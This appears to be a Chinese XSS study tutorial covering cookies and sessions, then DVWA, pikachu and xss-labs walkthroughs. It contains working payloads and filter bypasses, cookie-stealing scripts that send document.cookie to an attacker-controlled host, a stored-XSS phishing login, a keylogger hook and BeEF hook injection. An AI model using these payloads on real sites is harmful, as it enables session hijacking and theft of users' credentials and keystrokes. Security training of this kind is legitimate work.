1、HTTP协议回顾

XSS又名跨站脚本攻击

web页面登陆页面,往往有一个“记住密码”功能 ---> Cookie

1.1 HTTP流程





1.2 HTTP特点:

  • 请求应答模式
  • 灵活可拓展
  • 可靠传输
  • 无状态stateless -- 客户端每次请求都是完全独立的,没有任何联系

2、客户端的Cookie

显示:每个请求都是独立的

需求:保持会话

目的:为了解决stateless无状态的影响

1、第一次访问,浏览器会保存服务器下发的Cookie

2、客户端在本机将cookie保存到内存或磁盘下面

3、后面每次请求都带上cookie

2.1 cookie内容

key/value 格式,例如:

name = wuya
id = 99
islogin = 1

一般包含:内容value、起作用的路径、起作用的域名、到期时间

(需要计算过期时间的Cookie会保存在磁盘。没有过期时间的,属于临时cookie,则是保存在内存)

2.2 cookie特点

  • 明文
  • 可修改
  • 数量和大小受限(视浏览器而定)

Cookie的用途

  • 记住登陆状态
  • 跟踪用户行为(广告推送等等)

3、服务器的Session

转换思路:将一大串保存在服务端,且只通过COOKIE字段下发一个字段SESSID

减少浏览器客户端的负担,只需要看客户端的cookie中是否有已登录的SessionID

3.1 session流程

客户端 --> 第一次访问:开启会话,将登陆信息保存到session --> 服务端

客户端 <-- 如选择记住密码,则将sessionID写入cookie并下发 <-- 服务端

客户端 --> 第二次访问,从session中取出信息,判断登陆状态 --> 服务端

3.2 cookie和session的区别

4、JavaScript操作Cookie

想法:可不可以复制别的浏览器cookie中的sessionid?从而达到直接登录?

答案是可行的!

问题:如何远程获取到其他用户的cookie?

4.1 JavaScript语法

获取:document.coookie;

设置:document.cookie = "username=wuya";

修改:创建一个cookie覆盖

删除:将cookie过期时间,设置为如1999年

想法:将脚本注入到网页服务器中,并运行

5、脚本注入网页-XSS

前提:输入框存在提交,并且会解析运行JavaScript的脚本

POST请求如:<script>alert(1)</script>

GET 请求如:?url=javascript:alert(/wuya/)

5.1 XSS:Cross Site Script

恶意攻击者利用web页面的漏洞,插入一些恶意代码,当用户访问页面时,代码就会执行,这个时候就达到了攻击的目的。

JavaScript、Java、VBScript、ActiveX、Flash

反射型、存储型、DOM型(通过HTML的结构实现)

5.2 反射型XSS

5.3 存储型XSS

如注册、发评论等等

6、获取Cookie发送邮件实战

6.1 首先写一个mail.js文件

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/xss/sendmail.php?mycookie=' + encodeURIComponent(document.cookie);

6.2 存储型注入

在注册时输入:<script = \'http://localhost/xss/mail.js'></script>

6.3 执行脚本

当有人点击或访问,就会执行mail.js,其中sendmail.php会将当前访问该路径的用户的cookie,通过参数?mycookie转发邮件到黑客的qq邮箱中

7、DVWA靶场XSS

默认账号:admin

默认密码:password

7.1 XSS(Reflected)

7.1.1 Security = Low

payload = <script>alert('xxx')</script>

7.1.2 Security = Medium

做了一个str_replace()将script过滤成' '空

$name = str_replace( '<script>', '', $_GET[ 'name' ] );

绕过:大小写、双写

payload = <Script>alert('xxx')</script>

payload = <sc<script>ript>alert(123456)</script>

7.1.3 Security = High

运用了正则表达式

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

绕过:运用其他标签

payload = <删除img src=" " onerror="alert('XSS')">

7.1.4 Security = Impossible

运了htmlspecialchars()函数

将特殊字符转换为HTML实体符号,相当于被编码

7.2 XSS(Stored)

7.2.1 Security = Low

发现Name字段存在长度限制,但是Message字段没有

payload = <script>alert(123456)</script>

发现一旦刷新,每访问一次,就会攻击一次,出现弹窗

7.2.2 Security = Medium

可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤<script>字符串,仍然存在存储型的XSS。

绕过:抓包改name参数为<sc<script>ript>alert(/xss/)</script>

也可以审查元素,修改长度限制

7.2.3 Security = High

7.2.4 Security = Impossible

8、XSS后台平台搭建(pikachu靶场xss后台为例)

8.1 搭建

在本机搭建pikachu(修改inc配置文件)

在Win7虚拟机搭建pikachu XSS后台

相当于:用本机的XSS漏洞环境,将cookie传到虚拟机Win7的XSS后台数据库中

8.2 Payload

8.2.1 反射型xss(get):<script>alert("xu")</script>

在Win7的Cookie.php中修改重定向地址,让别人误以为只是刷新了一下

<script>document.location='http://虚拟机ip/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

http://192.168.125.131:8080/

8.2.2 反射型xss(post)

在修改Win7中post.html

攻击方式:将带毒的页面(Win7中的post.html)发给别人,一旦点击会访问有xss漏洞的本机地址,然后自动输入payload被拿cookie

最后访问带毒地址url:http://192.168.125.131:8080/pikachu/pkxss/xcookie/post.html

8.2.3 存储型xss(钓鱼xfish)

修改fish.php,弹出迷惑性的登陆界面

<script src="http://192.168.125.131:8080/pikachu/pkxss/xfish/fish.php"></script>

用法:将JS语句存储在留言板中,当有人访问留言板时候,就会弹窗输密码

8.2.4 存储型xss(获取键盘记录)

修改rk.js

<script src="http://192.168.125.131:8080/pikachu/pkxss/rkeypress/rk.js"></script>

用法:将JS语句存储在留言板中,当有人访问,可以看到其键盘输入

8.3 其他XSS平台

https://github.com/78778443/xssplatform

Kali:beef-xss(密码/etc/beef-xss/config.yaml)

在反射型XSS处,执行 <script src="http://Kali的ip:3000/hook.js"></script>

发现在beef上线,可以在command处对受害机器进行操作

9、XSS检查和利用

9.1 测试XSS的payload

9.1.1XSSER (https://github.com/epsylon/xsser)(https://xsser.03c8.net)

实例:

由于DVWA需要登录,所以需要给他一个cookei

xsser -u "http://ip地址/dvwa/vulnerabilities/" -g "/xss_r/?name=XSS" --cookie="security=low; PHPSESSID=do462brkn1gnerpusf1f5aqd30; BEEFHOOK=d83iUtVEPA40EzTeQuAGilAcNsvuKbYCssJDO2qhLkKyPNK37CIIV5NZpvaINYqVPT4erug7xcrfqPCh" -s -v --reverse-check

9.1.2 XSSSTRIKE(https://github.com/s0md3v/XSStrike)

任意切换python版本!

添加python可选项:

update-alternatives --install /usr/bin/python python /usr/bin/python2.7 2 # 添加Python2可选项,优先级为2,优先级高的数字大,此处设置python2优先级高于python3

然后输入update-alternatives --config python

删除python可选项

update-alternatives --remove python /usr/bin/python2.7

get类型命令:python xsstrike.py -u 'http://xxx/xxx.php?message=123&subbmit=submit'

post类型命令:python xsstrike.py -u "xxx/xx.php" --data 'name=1'

10、XSS防御方法

入口:

识别:正则,处理:替换

出口:

echo "",document.write();htmlspecialchars

WAF

11、xss-labs闯关游戏

思路:使用万能payload看看做了什么处理!再查看页面源码!

<sCr<scrscRiptipt>ipt>OonN&apos;\"<>

&apos是单引号

第一关

payload = ?name=<script>alert("xss")</script>

第二关

查看页面代码,发现没有任何过滤,且输入在value中需要闭合

payload = "> <script>alert("xss")</script>

第三关

过滤了尖括号,所以闭合+触发onmouseover,插入脚本当鼠标滑过输入框触发

payload = ' onmouseover='alert(/xss/)

第四关

<script " ' Oonn>

发现过滤了尖括号

payload = " onmouseover="alert(1)

第五关

过滤替换了script和on关键字,使用伪协议生成带alert的超链接

payload = "><a href = "javascript:alert(/xss/)">click</a>

第六关

过滤替换了script和on=以及href关键字,使用伪协议+大小写hERf绕过

payload = "><a hREf = "javascript:alert(/xss/)">click</a>

第七关

script标签被过滤,闭合+双写绕过

payload = "> <SCRscriptIPT>alert(1)</SCRscriptIPT>

第八关

提供了友情链接,使用伪协议javascript:alert(/xss/),发现script被替换

对内容进行一个Unicode编码



payload = javascript:alert(/xss/)

第九关

你的链接不合法!

payload = javascript:alert('http://www.baidu.com')

第十关

GET类型请求,尖括号不行,但是发现三个隐藏的input标签,闭合触发事件

然后因为标签是hidden的,导致无法触发标签的事件监听,所以需要覆盖掉标签的hidden属性,或者使用//注释掉

payload = ?t_sort=click" type="button" onclick="alert(/xss/)

payload = ?t_sort=" onmouseover="alert(1)" type=""//

第十一关

通过BP抓包,修改Referer值,发现会传递到代码中



payload = click" type="button" onclick="alert(1)

portswigger

<custom-tag onmouseover='alert("xss")'>

"><body onresize=alert(1)>

3-XSS渗透与防御的更多相关文章

  1. 前端安全(XSS、CSRF防御)

    一.网络安全          OWASP:开放式Web应用程序安全项目(OWASP,Open Web Application Security Project)        OWASP是一个开源的 ...

  2. web安全-XSS攻击及防御

    XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...

  3. 《前端之路》 之 前端 安全 XSS 原理以及防御手段

    什么是 XSS 一.XSS 什么是 XSS XSS,即 Cross Site Script , 翻译过来就是 跨站脚本攻击:为了和 css 有所区分,因而在安全领域被称为 XSS. 什么是 XSS 攻 ...

  4. XSS(四)攻击防御

    XSS Filter XSS Filter的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果 XSS Filter作为防御跨站攻击的主要手段之一,已经广泛应用在各类Web系统之中, ...

  5. XSS攻击的防御

    XSS攻击的防御 XSS 攻击是什么 XSS 又称 CSS,全称 Cross SiteScript,跨站脚本攻击,是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式,所以容易被忽略 ...

  6. Web 攻击之 XSS 攻击及防御策略

    XSS 攻击 介绍 XSS 攻击,从最初 netscap 推出 javascript 时,就已经察觉到了危险. 我们常常需要面临跨域的解决方案,其实同源策略是保护我们的网站.糟糕的跨域会带来危险,虽然 ...

  7. 风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧

    风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧 XSS绕过-过滤-编码 核心思想 后台过滤了特殊字符,比如说

  8. web渗透—xss攻击如何防御

    1.基于特征的防御 XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同.这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS ...

  9. XSS理解与防御

    一.说明 我说我不理解为什么别人做得出来我做不出来,比如这里要说的XSS我觉得很多人就不了解其定义和原理的,在不了解定义和原理的背景下他们可以拿站,这让人怎么理解呢.那时我最怕两个问题,第一个是题目做 ...

  10. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

随机推荐

  1. 手写一个Promise.all

    Promise.all 特性: 1. 按顺序返回结果数组; 2. 当所有promise完成才返回; 3. 返回第一个报错的promise的信息; 直接上代码: Promise._all = funct ...

  2. 鸿蒙(HarmonyOS)常见的三种弹窗方式

    最近有一个想法,做一个针对鸿蒙官方API的工具箱项目,介绍常用的控件,以及在项目中如何使用,今天介绍Harmony中如何实现弹窗功能. 警告弹窗 警告弹窗是一个App中非常常用的弹窗,例如: 删除一条 ...

  3. 揭秘最为知名的黑客工具之一: Netcat!适用安全测试、渗透测试、黑客攻击!

    在网络安全领域,黑客工具一直备受关注.它们既可以被用于攻击,也可以用于防御.本文将为大家揭秘一款知名的黑客工具: Netcat. 1.Netcat是什么? Netcat被誉为"网络的瑞士军刀 ...

  4. Driud——数据库连接池的使用

    Druid数据库连接池的使用 1. 导入 jar 包 jar包下载:Central Repository: com/alibaba/druid/1.1.12 (maven.org) 导入项目中:(复制 ...

  5. cobalt strike安装教程

    将本地IP和密码填入:./teamserver 192.168.xx.xx 密码 启动成功

  6. docker安装及基本的镜像拉取

    docker 使用存储库安装 卸载它们以及相关的依赖项. yum remove docker \ docker-client \ docker-client-latest \ docker-commo ...

  7. 17 模块subprocess、re

    1. subprocess模块 1.1 概念 subprocess模块启动一个新进程,并连接到它们的输入/输出/错误管道,从而获取返回值 简单理解:可以远程连接电脑(socket模块) 1.2 Pop ...

  8. javaScript遍历对象总结

    定义对象: const obj = { name: 'zlx', id: 245, age: 25, gender: '男', } 1. 使用 for... in..循环遍历 对象的属性有2种方式可以 ...

  9. Oracle中查看隐含参数的sql

    select a.ksppinm "Parameter", a.ksppdesc "Description", b.ksppstvl "Session ...

  10. tarjan 各类板子集合

    tarjan大板子(非讲解): 1.普通缩点DGA void tarjan(int x){ dfn[x]=low[x]=++cntp; q.push(x);v[x]=1; for(int i=head ...